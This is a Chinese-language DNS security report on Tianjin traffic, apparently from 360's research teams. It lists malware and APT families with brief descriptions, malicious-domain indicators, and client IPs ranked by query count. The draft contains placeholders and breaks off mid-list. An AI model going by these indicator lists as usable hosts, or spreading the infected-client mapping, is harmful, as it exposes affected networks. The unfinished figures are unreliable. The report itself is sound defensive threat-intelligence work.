xmr.usa-138.com
seed.bitcoinstats.com
Clients
Count Client TAGS
900 60.30.199.26 NAT
892 221.239.96.146 NAT
891 111.160.156.10 NAT
803 111.164.175.157 NAT
574 111.160.82.66 NAT
521 111.160.204.62
494 60.30.197.110 NAT
467 60.28.104.130 NAT
415 60.28.252.2 NAT;IDC
352 221.196.92.246 NAT
269 60.29.103.44 NAT
241 60.29.17.222 NAT
239 218.68.45.209 NAT
164 117.9.18.201 NAT
142 218.68.105.24 NAT
130 202.99.114.74 NAT
130 111.160.167.194 NAT
110 60.28.47.90 NAT
78 60.28.253.182 NAT
69 218.69.133.62 NAT
68 61.181.131.66 NAT
43 61.240.24.130 NAT
37 60.24.90.72 NAT
36 111.160.119.178 NAT
35 60.30.240.226 NAT
35 60.30.134.99 NAT
34 221.197.42.171
28 125.35.210.209 NAT
27 60.28.102.2 NAT
26 221.197.55.168 NAT
26 61.181.207.7 NAT
25 125.35.210.222 NAT
24 125.35.210.204 NAT
24 125.35.210.229 NAT
19 125.39.71.19
19 61.181.76.146 NAT
18 60.25.251.11 NAT
18 111.33.30.44 NAT
17 117.14.201.183 NAT
17 60.30.69.36 NAT
16 221.197.139.246 NAT
16 60.28.101.104 NAT
16 60.28.108.201 NAT
15 218.69.96.14 NAT
15 60.30.193.162 NAT
15 222.36.63.83
15 60.30.208.226 NAT
15 111.160.40.106 NAT
14 61.136.11.38 NAT
14 60.28.156.216
14 60.28.101.74 NAT
14 60.29.158.82 NAT
14 111.160.122.98 NAT
14 218.69.11.174 NAT
13 60.28.101.105 NAT
13 117.9.164.4 NAT
12 117.15.169.6
12 61.181.70.210 NAT
11 180.213.5.10 NAT
10 111.164.49.39 NAT
10 218.68.5.141 NAT
10 60.29.15.54 NAT
10 218.68.0.210 NAT
10 111.164.183.26 NAT
10 60.30.186.26 NAT
10 125.39.151.188
9 221.239.124.90 NAT
9 117.131.173.16 NAT
8 123.150.44.5 NAT
8 111.160.97.18 NAT
8 221.238.238.234 NAT
8 117.9.8.157 NAT
8 61.181.123.67
8 125.35.211.131 NAT
8 123.150.44.3 NAT
7 60.29.133.19 NAT
6 111.160.80.250 NAT
6 111.160.7.62 NAT
6 125.36.59.125 NAT
6 123.150.44.11 NAT
6 218.68.204.18 NAT
6 218.69.11.58 NAT
5 60.29.64.138 NAT
5 123.151.25.136 NAT
5 125.37.77.156 NAT
5 111.164.183.91 NAT
5 111.162.128.53 NAT
5 117.11.10.12 NAT
5 117.13.140.93 NAT
5 60.30.149.98 NAT
4 221.196.67.188 NAT
4 60.25.179.9 NAT
4 60.30.120.132 NAT
4 218.68.102.37 NAT
4 218.69.61.140 NAT
4 218.68.147.61 NAT
4 60.28.84.197 NAT
4 111.160.240.109 NAT
4 60.29.64.139 NAT
4 218.68.1.195 NAT
3 60.28.101.14 NAT
3 111.160.166.189 NAT
3 61.181.97.162 NAT
3 61.181.112.102 NAT
3 60.28.101.103 NAT
3 117.9.18.204 NAT
3 117.10.138.188 NAT
3 218.68.235.209 NAT
3 218.69.156.59 NAT
3 117.131.135.209 NAT
2 60.29.195.26 NAT
2 221.197.97.97
2 60.26.78.4
2 218.67.246.54 NAT
2 111.160.166.58 NAT
2 61.181.103.46 NAT
2 60.27.79.17 NAT
2 60.30.172.82 NAT
2 60.29.153.61 NAT
2 60.28.63.85 NAT
2 60.29.158.138 NAT
2 60.30.42.78 NAT
2 111.163.122.136 NAT
2 111.30.78.46 NAT
2 60.30.33.70
2 221.197.220.35 NAT
2 60.28.41.18 NAT
2 111.30.101.238 NAT
2 60.29.153.45 NAT
2 60.29.179.118 NAT
2 117.9.199.42 NAT
2 123.150.44.9 NAT
2 60.28.104.118 NAT
2 111.160.70.46 NAT
2 61.181.107.107 NAT
1 111.162.215.164 NAT
1 111.162.68.202 NAT
1 103.233.4.30 NAT
1 218.69.25.110 NAT
1 60.29.153.43 NAT
1 221.196.108.202 NAT
1 60.30.149.10 NAT
1 117.131.245.101 NAT
1 111.33.17.70 NAT
1 61.181.5.114 NAT
1 117.13.72.198 NAT
1 60.30.177.62 NAT
1 211.94.248.30 NAT
1 125.38.179.109 NAT
1 221.196.108.163 NAT
1 218.68.159.45 NAT
1 60.29.4.206 NAT
1 111.160.49.188 NAT
1 111.160.49.186
1 117.11.117.118 NAT
1 111.162.201.182 NAT
1 218.68.105.125 NAT
1 111.162.219.115 NAT
1 218.68.204.86 NAT
1 60.30.155.10 NAT
1 221.239.89.186 NAT
1 111.164.40.153 NAT
1 60.29.154.210 NAT
1 61.181.15.212 NAT
1 111.163.141.224 NAT
1 60.28.114.2 NAT
1 60.29.77.202 NAT
1 221.239.26.30 NAT
1 111.160.242.66 NAT
1 60.30.162.14
1 103.233.4.29 NAT
1 111.166.50.41 NAT
1 111.166.87.206 NAT
Malware.wannacry
一种“蠕虫式”的勒索病毒软件，由不法分子利用NSA（National Security Agency，美国国家安全局）泄露的危险漏洞“EternalBlue”（永恒之蓝）进行传播。被该勒索软件入侵后，用户主机系统内的照片、图片、文档、音频、视频等几乎所有类型的文件都将被加密，加密文件的后缀名被统一修改为 WNCRY。
IOCs
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwff.com
www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
Clients
Count Client TAGS
104 60.30.147.86
8 125.35.211.131 NAT
3 111.164.183.91 NAT
2 221.238.232.218 NAT
2 111.160.40.106 NAT
1 60.29.64.22 NAT
1 61.181.70.210 NAT
Malware.sality
一款多态感染性病毒，一旦被他们感染，电脑上大部分文件都会被感染成病毒文件。
IOCs
vancityprinters.com
724hizmetgrup.com
vinasonthanh.com
affiliate.free.rongrean.com
amsamex.com
zanzoul.aya.com.sy
bbeakemegood24.com
chicostara.com
www.ceylanogullari.com
family-international.de
yavuztuncil.ya.funpic.de
pelcpawel.fm.interia.pl
www.liongrup.com
bazyar-arya.com
aocuoikhanhlinh.vn
ohne-steuer.de
cevatpasa.com
jrsx.jre.net.cn
reliancepublications.co.in
bem.dk
arthur.niria.biz
lpbmx.ru
banboon.com
ankara-cambalkon.net
dewpoint-eg.com
twilight-duo.com
www.bluecubecreatives.com
apple-pie.in
ahmediye.net
abpowqbvcfds677.info
www.unigas.mn
www.vancityprinters.com
kuplu.bel.tr
Clients
Count Client TAGS
108 111.160.182.10 NAT
20 117.9.152.25 NAT
13 60.27.193.240 NAT
12 125.36.117.141 NAT
8 60.29.43.82 NAT
7 218.68.102.172 NAT
6 218.69.108.45 NAT
6 60.28.250.46 IDC
6 60.25.253.157 NAT
4 219.150.87.130 NAT
4 111.160.92.74 NAT
4 221.197.156.59 NAT
4 221.239.124.90 NAT
3 117.9.228.28 NAT
3 218.69.11.58 NAT
3 117.12.17.73 NAT
3 123.151.34.82 NAT
2 61.181.63.26 NAT
2 111.167.244.137 NAT
2 117.11.239.126 NAT
2 60.28.101.104 NAT
2 60.30.69.36 NAT
1 117.12.197.138 NAT
1 218.68.6.194 NAT
1 117.15.191.13 NAT
1 61.181.63.138 NAT
1 111.163.145.187 NAT
1 111.33.56.2 NAT
Malware.dofloo
dofloo又名AES.DDOS，针对Linux设备，已经发现的变种主要感染运行x86和ARM CPU的设备。dofloo 支持SYN/TCP/UDP/DNS/HTTP等多种flood攻击。
IOCs
www.santananb.info
Clients
Count Client TAGS
1 60.30.172.82 NAT
Malware.artemis
artemis家族针对windows系统，用于DDoS攻击，支持UDP/TCP/DNS/HTTP 4种攻击方式。
IOCs
lang12397007.3322.org
scrk.3322.org
rat2.100geili.com
liyongyong88.3322.org
fei9988.3322.org
doss456.3322.org
meihaoddos.3322.org
dingtao333.3322.org
rat3.100geili.com
Clients
Count Client TAGS
51 117.9.146.131 NAT
45 117.11.147.243 NAT
44 111.160.156.10 NAT
41 117.9.64.214 NAT
40 111.163.123.186 NAT
35 125.36.119.78 NAT
18 117.10.53.124 NAT
15 125.37.188.225 NAT
15 117.13.192.248 NAT
15 218.67.254.131 NAT
12 218.68.190.107 NAT
11 117.15.6.163 NAT
11 125.36.80.149 NAT
10 218.67.145.251 NAT
9 60.28.101.104 NAT
8 117.9.158.203 NAT
8 111.160.132.158 NAT
7 111.163.22.135 NAT
6 111.161.188.102 NAT
5 221.196.205.193 NAT
4 60.26.102.238 NAT
4 125.37.189.211 NAT
4 218.69.102.106 NAT
4 60.28.101.103 NAT
4 111.167.180.105 NAT
3 218.67.165.2 NAT
3 125.38.137.250 NAT
2 221.198.67.125 NAT
2 60.28.101.105 NAT
2 221.196.61.39 NAT
1 60.29.38.118 NAT
1 221.197.255.115 NAT
1 111.163.90.226 NAT
1 117.9.238.225 NAT
1 218.68.45.180 NAT
1 221.197.8.155
Malware.unknown
一部分我们正在跟踪的明确恶意但未归类的汇总
IOCs
pccp.youdns17.com
lp.beahh.com
v.beahh.com
ii.ackng.com
healthdevicetracker.com
lp.haqo.net
suoye1.eatuo.com
oxy.imbceon.com
cake.pilutce.com
wqerveybrstyhcerveantbe.com
workforce.ignorelist.com
ghoost-souf.no-ip.org
down.wmwky.tw
www.santananb.info
doc.to0ls.com
jltx131.cc
booomaahuuoooapl.ru
hewle.kielsoservice.net
wys810302.f3322.net
www3.cedesunjerinkas.com
2.dfdf332.com
mdzz2019.noip.cn
spring.tulipnetworks.net
aj1732.online
ii.haqo.net
suoye1.f3322.net
nevernews.club
www2.cedesunjerinkas.com
lp.abbny.com
booomaahuuoooapl.in
yzzweb.f3322.net
almasoodgroup.com
maeobnaoefhgoajo.com
fiaoiaegiieogjjed.ru
5123.2288.org
api.dfdf332.com
3600hk.no-ip.org
i.haqo.net
eu.dspmulti.com
fget-career.com
www4.cedesunjerinkas.com
johnhop77.ddns.net
aroundtheworld123.net
twangzhan.website
srgsiuhedufiusfo.ru
iim.ackng.com
uaeihefiuaefhuhe.ru
9.zxzx776.com
xsdf3f.com
w.beahh.com
download.pofenglun.cn
mage.ignorelist.com
pall.ndypkh.com
down.qwpkk.tw
aeiziaezieidiebg.biz
zergbase.mooo.com
cnc.stresser.pw
aaaaaaaaaa.re67das.com
Clients
Count Client TAGS
1137 60.28.104.130 NAT
1020 60.30.186.26 NAT
988 117.12.96.213 NAT
718 218.68.105.24 NAT
596 60.28.47.90 NAT
352 61.240.6.210 NAT
310 121.193.161.217 NAT
261 111.160.132.158 NAT
238 61.181.252.146 NAT
221 221.197.56.106 NAT
176 60.30.199.26 NAT
145 111.160.201.202
133 60.29.153.61 NAT
86 60.30.149.10 NAT
79 125.36.152.117 NAT
77 117.12.134.159 NAT
55 218.69.234.252 NAT
39 221.197.29.110 NAT
38 218.67.233.191 NAT
37 117.11.225.137 NAT
36 111.165.96.157 NAT
34 61.181.108.2 NAT
33 111.162.219.197 NAT
32 60.28.156.216
32 117.12.1.165 NAT
31 117.8.100.206 NAT
31 111.164.235.52 NAT
31 218.67.255.90 NAT
31 117.9.17.157 NAT
30 125.38.176.114 NAT
30 218.68.200.50 NAT
30 60.29.18.14 NAT
30 117.131.173.16 NAT
30 221.197.12.90 NAT
29 218.68.190.43 NAT
29 180.213.5.10 NAT
27 60.29.37.38 NAT
25 221.196.119.133 NAT
25 111.160.91.94 NAT
25 117.9.91.224 NAT
24 60.28.38.14 NAT
24 111.164.235.232 NAT
23 60.30.130.126 NAT
20 111.30.30.18 NAT
20 221.197.94.180 NAT
19 60.29.64.22 NAT
19 111.165.24.101 NAT
18 117.13.128.209
18 125.37.182.24 NAT
17 117.11.147.153 NAT
16 60.28.101.104 NAT
16 111.164.20.30 NAT
15 60.30.4.11
15 218.69.11.58 NAT
14 60.28.101.103 NAT
14 117.9.16.229 NAT
14 218.69.133.37 NAT
14 221.239.93.251
13 60.29.133.19 NAT
13 60.29.208.115
13 60.28.250.40 IDC
13 60.29.22.98 NAT
12 60.28.108.21 NAT
12 117.9.18.246 NAT
12 218.69.90.46 NAT
12 60.25.11.13 NAT
11 111.160.156.10 NAT
11 221.196.149.170 NAT
10 60.29.89.34 NAT
10 60.29.70.132
10 218.68.224.88 NAT
10 117.13.157.191 NAT
10 60.29.31.98 NAT
10 60.24.140.80 NAT
10 221.238.238.234 NAT
10 60.29.90.230 NAT
9 60.30.164.26 NAT
9 60.25.251.11 NAT
9 218.68.158.40 NAT
9 60.26.101.13 NAT
8 111.160.87.122 NAT
8 218.68.107.240 NAT
8 218.68.233.132 NAT
8 111.164.183.91 NAT
8 221.197.139.99 NAT
8 221.197.122.193 NAT
7 60.30.105.50 NAT
7 117.9.93.13 NAT
7 117.11.218.223 NAT
7 61.181.143.34 NAT
7 60.28.41.18 NAT
7 60.24.189.172 NAT
7 218.68.5.141 NAT
7 221.196.108.115 NAT
7 61.181.70.210 NAT
7 111.30.35.142 NAT
6 60.28.101.105 NAT
6 221.198.66.44 NAT
6 111.162.212.244 NAT
6 111.160.233.182 NAT
6 60.24.143.117 NAT
6 117.9.90.145 NAT
6 103.233.5.254 NAT
6 218.69.129.222 NAT
6 221.196.180.62 NAT
6 125.38.176.178 NAT
6 60.26.225.158 NAT
6 60.27.31.62 NAT
6 218.68.234.159 NAT
6 117.11.153.212 NAT
5 60.30.208.226 NAT
5 125.36.153.16 NAT
5 111.162.149.78 NAT
5 111.163.158.181 NAT
5 218.69.226.106 NAT
5 60.27.79.149 NAT
5 221.198.170.164 NAT
5 211.94.243.185 NAT
5 117.9.18.2 NAT
5 106.47.29.70 NAT
5 125.37.29.120 NAT
5 60.29.145.254 NAT
5 218.68.0.6 NAT
5 117.10.62.226 NAT
5 117.12.202.189 NAT
5 111.160.246.140 NAT
5 61.181.74.42 NAT
5 218.69.55.166 NAT
5 218.69.54.167 NAT
5 218.68.6.50 NAT
5 117.13.115.123 NAT
4 211.94.254.85 NAT
4 60.24.90.226 NAT
4 60.26.4.19 NAT
4 60.28.101.106 NAT
4 221.198.238.209 NAT
4 111.166.237.230 NAT
4 125.36.255.122 NAT
4 218.68.105.7 NAT
4 117.9.237.225 NAT
4 61.181.103.138 NAT
4 218.68.229.81 NAT
4 61.181.140.42 NAT
4 218.69.6.74 NAT
4 111.160.120.54 NAT
4 60.29.93.221 NAT
4 218.69.91.84
4 125.37.29.23 NAT
4 60.24.184.70 NAT
4 221.196.46.61 NAT
4 117.14.119.35 NAT
4 60.26.203.160 NAT
4 111.163.123.7 NAT
4 111.161.158.131 NAT
4 111.33.17.70 NAT
4 111.160.230.18 NAT
4 60.27.31.0 NAT
4 117.12.37.223 NAT
4 117.15.93.189 NAT
4 117.10.124.4 NAT
4 60.24.233.164 NAT
4 60.28.84.197 NAT
4 218.68.200.243 NAT
4 218.68.219.29 NAT
4 221.198.86.145 NAT
4 218.69.18.147 NAT
4 111.164.233.130 NAT
4 111.163.143.228 NAT
4 60.25.148.35 NAT
4 117.15.125.181 NAT
4 218.67.234.60 NAT
4 125.38.176.229 NAT
4 60.30.92.74 NAT
4 117.11.10.12 NAT
4 111.160.91.250 NAT
3 60.24.45.218 NAT
3 60.29.154.226 NAT
3 111.163.144.224 NAT
3 111.161.150.34 NAT
3 111.160.166.58 NAT
3 111.162.163.231 NAT
3 125.37.182.99 NAT
3 60.29.16.94 NAT
3 111.163.120.92 NAT
3 221.198.67.88 NAT
3 117.15.192.231 NAT
3 117.10.138.46 NAT
3 218.69.95.90 NAT
3 60.27.60.159 NAT
3 117.13.168.162 NAT
3 117.13.106.191 NAT
3 60.29.15.2 NAT
3 111.165.11.60 NAT
3 60.30.193.162 NAT
3 60.29.43.46 NAT
3 117.12.146.72 NAT
3 43.249.136.20 NAT
3 111.165.188.122 NAT
3 221.196.152.151 NAT
3 111.163.144.67 NAT
3 60.26.142.193 NAT
3 60.29.63.18 NAT
3 111.160.80.3 NAT
3 117.13.140.5 NAT
3 117.10.236.245 NAT
3 211.94.243.121 NAT
3 111.165.105.247 NAT
3 61.181.219.120 NAT
3 123.151.34.82 NAT
3 111.166.238.248 NAT
3 202.99.106.47 NAT
3 221.197.179.98 NAT
3 211.94.226.74 NAT
3 60.26.239.60 NAT
3 117.9.191.22 NAT
3 117.14.66.156 NAT
3 61.181.202.5
3 218.69.78.253 NAT
3 218.69.52.252 NAT
3 221.196.97.11 NAT
3 218.67.181.124 NAT
2 221.196.194.253 NAT
2 218.68.102.247 NAT
2 111.165.128.30 NAT
2 60.26.132.173 NAT
2 125.35.249.1 NAT
2 221.197.139.235 NAT
2 117.15.22.130 NAT
2 60.29.179.114 NAT
2 221.198.80.189
2 111.162.216.127 NAT
2 221.197.54.42 NAT
2 221.197.97.39 NAT
2 117.13.244.21 NAT
2 111.160.198.83 NAT
2 103.233.6.2
2 60.27.189.44 NAT
2 111.160.166.189 NAT
2 125.36.59.125 NAT
2 211.94.248.28 NAT
2 218.69.55.247 NAT
2 111.160.166.206 NAT
2 125.36.101.224 NAT
2 111.165.56.53 NAT
2 61.181.65.154 NAT
2 61.181.109.234 NAT
2 117.9.199.42 NAT
2 221.197.133.137 NAT
2 218.68.102.58 NAT
2 125.37.217.118 NAT
2 221.196.97.36 NAT
2 61.181.103.46 NAT
2 60.27.119.49
2 117.12.133.191 NAT
2 221.198.64.35 NAT
2 125.37.191.155 NAT
2 221.198.60.201 NAT
2 111.162.147.134 NAT
2 60.25.179.50 NAT
2 61.181.63.138 NAT
2 60.24.127.98 NAT
2 61.181.24.234 NAT
2 125.37.212.67 NAT
2 111.167.149.238 NAT
2 221.197.154.147 NAT
2 117.10.28.225 NAT
2 60.30.149.102 NAT
2 60.30.105.33 NAT
2 111.160.97.18 NAT
2 125.37.202.10 NAT
2 117.9.18.201 NAT
2 117.14.151.96 NAT
2 60.30.156.190 NAT
2 111.167.17.208 NAT
2 117.15.90.239 NAT
2 111.162.151.214 NAT
2 111.162.154.253 NAT
2 61.181.49.105 NAT
2 218.68.224.39 NAT
2 60.27.138.17 NAT
2 117.9.70.23 NAT
2 221.196.180.242 NAT
2 117.12.125.160 NAT
2 111.162.157.177
2 218.68.107.108 NAT
2 218.69.129.94 NAT
2 111.167.46.70 NAT
2 117.15.90.205 NAT
2 103.233.4.26 NAT
1 60.24.89.15 NAT
1 218.69.55.60 NAT
1 117.11.239.56 NAT
1 111.163.140.152 NAT
1 111.160.108.34 NAT
1 60.29.140.66 NAT
1 202.99.69.243
1 221.196.194.2 NAT
1 60.27.42.62 NAT
1 60.24.188.12 NAT
1 117.8.101.63 NAT
1 218.69.147.133 NAT
1 111.163.22.227 NAT
1 111.160.118.230 NAT
1 111.167.144.199 NAT
1 60.29.154.210 NAT
1 221.196.227.20 NAT
1 60.28.38.18 NAT
1 60.29.77.203 NAT
1 60.29.153.45 NAT
1 125.38.191.184 NAT
1 221.198.236.232 NAT
1 60.25.10.147 NAT
1 111.164.209.21 NAT
1 218.67.254.17 NAT
1 60.30.180.150 NAT
1 111.160.70.203 NAT
1 111.160.70.201 NAT
1 60.29.116.18 NAT
1 60.30.215.242 NAT
1 111.162.152.192 NAT
1 60.29.95.82 NAT
1 111.160.166.186 NAT
1 117.9.229.148 NAT
1 61.181.60.34 NAT
1 221.198.118.158 NAT
1 60.28.135.3 NAT
1 60.25.63.52 NAT
1 111.160.97.42 NAT
1 117.12.144.7 NAT
1 111.162.221.168 NAT
1 221.198.110.209 NAT
1 61.181.83.10 NAT
1 221.197.84.199 NAT
1 60.29.179.42 NAT
1 60.29.77.194 NAT
1 60.27.174.82 NAT
1 111.166.156.237 NAT
1 60.29.30.190 NAT
1 117.12.133.124 NAT
1 117.13.140.144 NAT
1 218.69.243.164 NAT
1 218.69.11.110 NAT
1 111.165.133.156 NAT
1 111.162.163.241 NAT
1 221.197.252.248 NAT
1 60.28.250.46 IDC
1 60.27.133.165 NAT
1 111.167.211.108 NAT
1 111.160.70.204 NAT
1 60.30.240.226 NAT
1 221.197.29.195 NAT
1 125.36.145.207 NAT
1 60.27.79.17 NAT
1 125.37.125.3 NAT
1 60.30.172.82 NAT
1 117.131.145.156 NAT
1 111.30.85.18 NAT
1 221.198.218.112 NAT
1 117.14.13.25 NAT
1 117.14.70.156 NAT
1 111.163.143.193 NAT
1 111.160.216.87 NAT
1 60.28.101.126 NAT
1 60.29.185.242 NAT
1 111.163.78.80 NAT
1 125.37.182.185 NAT
1 117.15.191.57 NAT
1 111.160.104.66 NAT
1 221.197.162.54 NAT
1 211.94.242.118 NAT
1 125.37.162.103 NAT
1 117.8.100.70 NAT
1 117.15.214.65 NAT
1 125.38.177.138 NAT
1 60.30.204.26 NAT
1 60.27.205.187 NAT
1 117.12.158.82 NAT
1 60.26.180.205 NAT
1 111.165.72.25 NAT
1 61.181.125.37 NAT
1 60.29.0.101 NAT
1 60.25.16.184 NAT
1 111.30.78.46 NAT
1 111.160.40.106 NAT
1 117.15.138.221 NAT
1 111.161.189.215 NAT
1 111.160.80.250 NAT
1 103.233.4.29 NAT
1 221.239.72.170 NAT
Malware.bondat
利用受害机器资源 进行门罗币挖矿，并组建一个攻击WordPress站点的僵尸网络。
IOCs
urchintelemetry.com
Clients
Count Client TAGS
8 117.9.92.217 NAT
2 60.30.105.33 NAT
2 61.181.88.218 NAT
Malware.storm
针对Windows平台的DDoS类型的botnet家族。
IOCs
www.mojimojimojimoji.com
www.ody.cc
imddos.my03.com
Clients
Count Client TAGS
432 125.36.152.117 NAT
425 111.160.156.10 NAT
315 61.181.252.146 NAT
34 111.160.182.10 NAT
19 111.160.132.158 NAT
11 218.68.105.191 NAT
10 117.15.53.253 NAT
8 218.68.228.63 NAT
8 60.27.104.153 NAT
7 117.13.140.144 NAT
5 61.181.125.37 NAT
5 60.28.101.104 NAT
4 221.198.64.35 NAT
3 111.163.12.68 NAT
2 117.11.239.138 NAT
2 111.164.47.25
2 125.37.162.103 NAT
2 117.9.90.137 NAT
1 111.162.102.7 NAT
1 60.24.244.41 NAT
1 61.240.5.226 NAT
1 111.162.12.44 NAT
Malware.Morto
一款蠕虫病毒，通过爆破内网、外网主机的RDP密码，登陆到受害主机，进行自我复制并运行，来实现病毒的传播。
IOCs
ms.jifr.net
ms.jifr.co.cc
ms.jifr.co.be
dos1.jifr.net
ms.jifr.info
flt1.jifr.net
Clients
Count Client TAGS
506 218.69.16.26 NAT
241 60.29.174.70 NAT
219 60.29.173.226 NAT
194 60.24.189.11 NAT
162 60.30.57.29 NAT
106 111.164.41.211 NAT
75 117.131.175.138 NAT
69 111.160.186.146 NAT
45 218.68.156.51 NAT
27 125.36.228.182 NAT
20 125.36.228.187 NAT
16 125.36.228.184 NAT
Malware.Mylobot
mylobot是针对Windows的malware，属于downloader类型，用于在感染机器上下载和安装其它的malware。
IOCs
m16.pseyumd.ru
m11.pseyumd.ru
m25.oxduwil.com
m20.oxduwil.com
m0.fnjxpwy.com
m32.oqemwbj.in
v2.otwzgnl.ru
m0.zqfqjwd.biz
m34.oxduwil.com
m34.oqemwbj.in
m28.oqemwbj.in
m16.oqemwbj.in
v2.baidupic.net
Clients
Count Client TAGS
12 60.28.101.104 NAT
4 60.28.101.103 NAT
2 60.25.16.92 NAT
1 117.11.239.72 NAT
1 60.28.101.105 NAT
未知恶意
基于360安全大脑的云端数据，我们DNSMon系统会实时监测各种未知的恶意和高度可疑的域名，包括各种未知APT和Botnet等等，这些被归为 DNSMon.gray 以及 DNSMon.black 类别。
由于客户端数据太大，且具体的恶意行为需要其他维度数据关联分析，在此暂时不展开。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"\n# 天津DNS数据安全分析报告\n\n<br/>\n\n> ###### 版本：tj-sec.01\n> ###### 时间：2019-06-17\n> ###### 作者：360网络安全研究院 & 360CERT\n\n<br/>\n\n\n## 摘要\n\n* 采集了 2019-06-09 日 10 点数据，共计 33650792 条DNS日志\n* 排除掉DNS解析服务器日志，共计 19190292 条客户端请求DNS日志\n* 其中黑域名请求共计 99095 条，占总请求的 0.516%\n* 去重后域名共计 725093 个，其中黑域名共计 4424 个，占比 0.61%\n* 恶意类型覆盖 6 个APT组织的活动，以及40个僵尸网络/远控/后门/木马等恶意软件家族\n\n---\n\n\n## 整体分布\n\n\n字段说明：\n* TAG 是我们为恶意域名归类的标记，比如“APT.turla”表明是APT组织turla，“Malware.driverlife”表明是恶意软件家族“驱动人生”等等\n* DNS_Records_Count 是对应类别恶意域名在所有DNS请求中的请求数\n* Unique_Clients 是对应类别恶意域名的去重客户端个数\n* Unique_Domains 是对应恶意类别中在数据中出现过的去重恶意域名数\n* Infos 针对某些类别的额外解释说明\n\n<br/>\n\n<font size=\"0.6\">\n\nTAG|DNS_Records_Count|Unique_Clients|Unique_Domains|Infos\n---|---|---|---|---\nDNSMon.gray|22331|2629|926|DNSMon自动发现的高度可疑恶意域名\nMalware.miner|11898|193|62|所有的挖矿恶意软件都归为该类，不再细分\nMalware.driverlife|10397|86|22|\nBlackHit.vt|9779|257|84|\nMalware.unknown|9587|410|58|正在持续跟踪的一批暂未归类恶意软件\nMalware.mykings|5613|45|13|\nDNSMon.black|3734|178|48|DNSMon自动发现的确定恶意域名\nAPT.turla|3620|2|15|\nMalware.Morto|3397|14|6|\nDGA.conficker|2760|41|224|\nMalware.xorddos|2415|9|14|\nMalware.nitol|2248|20|11|\nMalware.2gun|2049|349|26|\nMalware.ramnit|1985|246|7|\nMalware.nadrac|1416|16|5|\nMalware.mirai|1404|4|4|\nMalware.elknot|1325|5|3|\nMalware.storm|1301|23|3|\nMalware.gh0st|1066|17|11|\nMalware.zombieboy|472|3|2|\nMalware.artemis|445|37|9|\nWebSafe.coinhive|299|1|1|\nMalware.zusy|298|1|286|\nMalware.darkshell|297|3|1|\nMalware.sality|246|30|33|\nMalware.wannycry|221|5|2|\nMalware.NuggetPhantom|174|26|6|\nMalware.remcos|150|1|1|\nMalware.wannacry|122|8|2|\nMalware.DUNIHi|107|1|1|\nAPT.irontiger|98|1|2|\nBlackHit.nd|79|19|3|\nAPT.unclassified|76|38|1|\nDGA.hardcoded_fake_dga|72|31|30|\nMalware.dbnt|44|18|2|\nMalware.dsl|32|1|1|\nMalware.Mylobot|20|5|13|\nWebSafe.ad_flush|16|14|3|\nMalware.bondat|12|3|1|\nMalware.posioncake|11|4|2|\nMalware.Dorkbot|9|1|4|\nAPT.bitter|8|1|4|\nDGA.popad|8|6|3|\nAPT.oceanlotus|7|1|4|\nMalware.barhera|6|2|3|\nMalware.irc3|4|1|2|\nAPT.menupass|4|1|1|\nMalware.dy2004|2|1|1|\nMalware.loki|1|1|1|\nMalware.rcshark|1|1|1|\nMalware.humpler|1|1|1|\nMalware.flyboy|1|1|1|\nMalware.woring|1|1|1|\nMalware.dofloo|1|1|1|\n\n</font>\n\n\n---\n\n## 分类描述\n\n由于恶意类型比较多且繁杂，分类描述中只汇总了 APT 类 和 Malware 类危害较大的类别。\n\n\"IOCs\" 列出在数据中出现过的对应类别的恶意域名，“Clients”是数据中出现过的访问了恶意域名的客户端IP，按照访问次数从大到小排列，访问次数越多，可以认为是该IP后面对应的恶意软件越活跃。客户端IP有可能是机构/宽带出口IP，会标记类别 NAT，有可能是机房IP，会标记类别IDC。\n\n有些访问可能是安全研究人员的测试性访问，这需要具体IP的归属来判断，通过当前数据不能区分，如果后续追溯，需要注意。\n\n\n### APT 类\n\n当前一小时采样数据中，共发现6个公开的APT组织的活动迹象，共涉及失陷客户端XXX个，其中可能是政府单位的YYY个，需要高度关注。\n\n\n#### APT.bitter\n\n蔓灵花（T-APT-17、BITTER）APT组织是一个长期针对中国、巴基斯坦等国家进行攻击活动的APT组织，该APT组织为目前活跃的针对境内目标进行攻击的境外APT组织之一。该组织主要针对政府、军工业、电力、核等单位进行攻击，窃取敏感资料，具有强烈的政治背景。该组织最早在2016由美国安全公司Forcepoint进行了披露，并且命名为“BITTER”。\n\n该组织主要采用鱼叉钓鱼的方式，对相关目标单位的个人直接发送嵌入了攻击诱饵的钓鱼邮件。此外，为了提高成功率，也会先对目标发送安全提示相关的钓鱼邮件，诱使被钓鱼用户修改邮件账户密码，从而获取用户的邮箱密码，而后再用被控制的邮箱继续对企业内的其他人进行嵌入攻击诱饵的钓鱼邮件。\n\n详细报告参见 [https://www.freebuf.com/articles/database/192726.html ](https://www.freebuf.com/articles/database/192726.html)\n\n##### IOCs\n\n```\nhewle.kielsoservice.net\nspring.tulipnetworks.net\naroundtheworld123.net\nthepandaservices.nsiagenthoster.net\n```\n\n##### Clients\n```\nCount Client TAGS\n8\t 60.29.208.115\t\n```\n\n\n</br>\n\n\n#### APT.irontiger\n\n铁虎（Iron Tiger）APT行动背后的“熊猫使者”APT组织，被怀疑（必须）是天朝的一个黑客组织，他们专门以政府和相关领域的技术部门作为其主要的攻击目标，并尝试从这些组织和机构中监视和窃取高价值的数据。\n\n该恶意软件的主要攻击目标是亚洲和美国的政府组织、科技公司、教育和通信企业等。最早的攻击是从附有恶意VBS文件的垃圾邮件开始的，VBS文件的作用是从分布式服务器下载恶意payload的下载器。\n\n详细报告参见[https://zhuanlan.zhihu.com/p/33636123](https://zhuanlan.zhihu.com/p/33636123)\n\n##### IOCs\n\n```\ndll.pzchao.com\nzll855.gicp.net\n```\n\n##### Clients\n```\nCount Client TAGS\n98\t 60.28.230.130\tNAT\n```\n\n\n</br>\n\n\n\n#### APT.unclassified\n\n\n详细报告参见 [https://www.anquanke.com/post/id/167077](https://www.anquanke.com/post/id/167077)，\n[http://www.mottoin.com/detail/3398.html](http://www.mottoin.com/detail/3398.html)\n\n\n##### IOCs\n\n```\nftp.byethost10.com\n```\n\n##### Clients\n```\nCount Client TAGS\n10\t 117.13.67.150\tNAT\n3\t 218.69.72.38\tNAT\n2\t 218.68.156.153\tNAT\n2\t 218.68.62.28\tNAT\n2\t 218.67.252.149\tNAT\n2\t 218.69.6.74\t NAT\n2\t 117.13.3.103\tNAT\n1 \t221.196.149.170\tNAT\n1 \t60.24.88.214\tNAT\n1 \t60.30.254.92\tNAT\n1 